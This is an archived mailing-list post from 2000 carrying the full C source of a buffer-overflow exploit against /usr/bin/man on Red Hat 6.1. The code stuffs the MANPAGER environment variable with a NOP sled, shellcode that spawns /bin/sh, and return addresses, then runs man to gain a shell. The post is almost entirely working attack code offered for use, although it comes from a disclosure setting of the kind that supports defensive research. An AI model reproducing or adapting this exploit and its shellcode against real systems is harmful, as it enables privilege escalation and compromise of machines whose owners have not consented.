OSEC

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Subject: man exploit
From: Przemyslaw Frasunek (venglinFREEBSD.LUBLIN.PL)
Date: Mon Feb 28 2000 - 02:09:17 CST

/*
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 *
 * redhat 6.1 /usr/bin/man exploit
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP 0x90
#define OFS 1800
#define BUFSIZE 4002
#define ADDRS 1000

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
        char *execshell =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char *buf, *p;
        int noplen, i, ofs;
        long ret, *ap;

        if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
        {
                perror("malloc()");
                return -1;
        }

        if (argc > 1)
                ofs = atoi(argv[1]);
        else
                ofs = OFS;

        noplen = BUFSIZE - strlen(execshell);
        ret = getesp() + ofs;

        memset(buf, NOP, noplen);
        buf[noplen+1] = '\0';
        strcat(buf, execshell);

        p = buf + noplen + strlen(execshell);
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

        fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));

        setenv("MANPAGER", buf, 1);
        execl("/usr/bin/man", "man", "ls", 0);

        return 0;
} 

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